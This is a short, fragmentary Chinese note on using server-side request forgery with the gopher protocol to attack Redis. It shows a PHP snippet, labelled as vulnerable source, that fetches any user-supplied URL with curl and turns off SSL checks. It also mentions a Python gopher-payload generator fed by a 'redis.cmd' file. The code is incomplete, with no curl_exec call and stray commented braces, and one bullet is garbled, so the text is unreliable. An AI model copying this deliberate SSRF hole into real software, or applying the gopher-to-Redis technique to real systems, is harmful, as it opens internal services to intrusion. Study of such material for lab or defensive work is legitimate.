ssrf redis gopher

漏洞源码

<?php

  $url=$_GET['url'];
  $ch=curl_init();
  curl_setopt($ch,CURLOPT_URL,$url);
  curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
  curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);

   # echo 'Curl error: ' . curl_error($ch);
  #}

• 懂的都懂，se 系统默认紧张 php curl 自己
• gopher协议生成.py（需要将自己的创建redis.cmd写入自己的payload)
